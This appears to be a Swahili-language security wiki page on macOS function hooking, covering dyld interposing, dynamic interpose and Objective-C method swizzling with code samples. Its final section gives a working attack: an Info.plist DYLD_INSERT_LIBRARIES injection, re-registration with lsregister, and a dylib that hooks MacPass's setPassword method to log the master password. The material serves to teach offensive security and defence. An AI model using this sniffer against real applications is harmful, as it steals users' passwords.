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Kufunga Kazi ya macOS

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Kuingilia Kazi

Tengeneza dylib na sehemu ya __interpose (__DATA___interpose) (au sehemu iliyofungwa na S_INTERPOSING) inayojumuisha jozi za pointa za kazi zinazorejelea kazi za awali na zilizochukua nafasi.

Kisha, ingiza dylib na DYLD_INSERT_LIBRARIES (kuingilia kazi kunahitaji kutokea kabla ya programu kuu kupakia). Kwa dhahiri vizuizi vilivyowekwa kwenye matumizi ya DYLD_INSERT_LIBRARIES pia hapa.

Kuingilia printf

{% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" overflow="wrap" %}

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

{% endcode %} {% endtab %}

{% tab title="hello.c" %}

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

{% endtab %}

{% tab title="interpose2.c" %} {% code overflow="wrap" %}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

{% endcode %} {% endtab %} {% endtabs %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

{% hint style="warning" %} Chaguo la mazingira la DYLD_PRINT_INTERPOSTING linaweza kutumika kudebugi interposing na litachapisha mchakato wa interpose. {% endhint%}

Pia elewa kwamba interposing hutokea kati ya mchakato na maktaba zilizopakiwa, haitafanyi kazi na hifadhi ya maktaba iliyoshirikiwa.

Interposing ya Kisasa

Sasa pia ni iwezekanavyo kuingiza kazi kwa njia ya kisasa kwa kutumia kazi ya dyld_dynamic_interpose. Hii inaruhusu kuingiza kazi kwa njia ya programu wakati wa muda wa uendeshaji badala ya kufanya hivyo tu kutoka mwanzoni.

Inahitajika tu kuonyesha tuples ya kazi ya kuchukua nafasi na kazi mbadala.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Kufunga Mbinu

Katika ObjectiveC hivi ndivyo mbinu inavyoitwa: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Inahitajika kitu, mbinu na paramu. Na wakati mbinu inaitwa msg inatumwa kutumia kazi objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Kitu ni someObject, mbinu ni @selector(method1p1:p2:) na hoja ni value1, value2.

Kufuatia miundo ya vitu, ni rahisi kufikia orodha ya mbinu ambapo majina na alama za nambari ya mbinu zinapatikana.

{% hint style="danger" %} Tafadhali kumbuka kwamba kwa sababu mbinu na madarasa yanafikiwa kulingana na majina yao, habari hii imehifadhiwa kwenye faili ya binary, hivyo ni rahisi kuipata kwa kutumia otool -ov </path/bin> au class-dump </path/bin> {% endhint %}

Kufikia mbinu za asili

Inawezekana kupata habari za mbinu kama jina, idadi ya paramu au anwani kama ilivyo kwenye mfano ufuatao:

{% code overflow="wrap" %}

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Kuchanganya Njia na method_exchangeImplementations

Kazi ya method_exchangeImplementations inaruhusu kubadilisha anwani ya utekelezaji wa kazi moja kwa nyingine.

{% hint style="danger" %} Hivyo wakati kazi inaitwa ni ile nyingine inayotekelezwa. {% endhint %}

{% code overflow="wrap" %}

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

{% endcode %}

{% hint style="warning" %} Katika kesi hii ikiwa mimina kutekelezwa kwa njia halali inathibitisha jina la njia inaweza kugundua hii swizzling na kuzuia isifanye kazi.

Mbinu ifuatayo haina kizuizi hiki. {% endhint %}

Kuchanganya Njia na method_setImplementation

Muundo uliopita ni wa ajabu kwa sababu unabadilisha utekelezaji wa njia 2 kutoka kwa nyingine. Kwa kutumia kazi method_setImplementation unaweza kubadilisha utekelezaji wa njia moja kwa nyingine.

Kumbuka kuhifadhi anwani ya utekelezaji wa ile ya awali ikiwa utaita kutoka kwa utekelezaji mpya kabla ya kuibadilisha kwa sababu baadaye itakuwa ngumu sana kutambua anwani hiyo.

{% code overflow="wrap" %}

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

{% endcode %}

Methodolojia ya Shambulio la Hooking

Katika ukurasa huu njia tofauti za kufunga kazi zilijadiliwa. Hata hivyo, zilihusisha kuendesha nambari ndani ya mchakato ili kushambulia.

Ili kufanya hivyo, njia rahisi zaidi ya kutumia ni kuingiza Dyld kupitia mazingira ya mazingira au utekaji nyara. Hata hivyo, nadhani hii inaweza pia kufanywa kupitia Uingizaji wa mchakato wa Dylib.

Hata hivyo, chaguo zote mbili zinakabiliwa na vitu vya kikomo kwa binari/mchakato usiolindwa. Angalia kila mbinu kujifunza zaidi kuhusu vikwazo.

Hata hivyo, shambulio la kufunga kazi ni maalum sana, muhusika atafanya hivi ili kuiba habari nyeti kutoka ndani ya mchakato (ikiwa sivyo ungefanya shambulio la kuingiza mchakato). Na habari nyeti hii inaweza kuwa katika Programu zilizopakuliwa na mtumiaji kama vile MacPass.

Kwa hivyo, mwelekeo wa muhusika ungekuwa au kupata udhaifu au kuondoa saini ya programu, kuingiza DYLD_INSERT_LIBRARIES kupitia mazingira ya Info.plist ya programu kwa kuongeza kitu kama:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

na kisha sajili tena programu:

{% code overflow="wrap" %}

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

{% endcode %}

Ongeza katika maktaba hiyo nambari ya kufunga ili kuchukua habari: Manenosiri, ujumbe...

{% hint style="danger" %} Tambua kwamba katika toleo jipya la macOS ikiwa utaondoa saini ya fomu ya faili ya programu na hapo awali ilitekelezwa, macOS haitatekeleza tena programu hiyo. {% endhint %}

Mfano wa Maktaba

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

{% endcode %}

Marejeo

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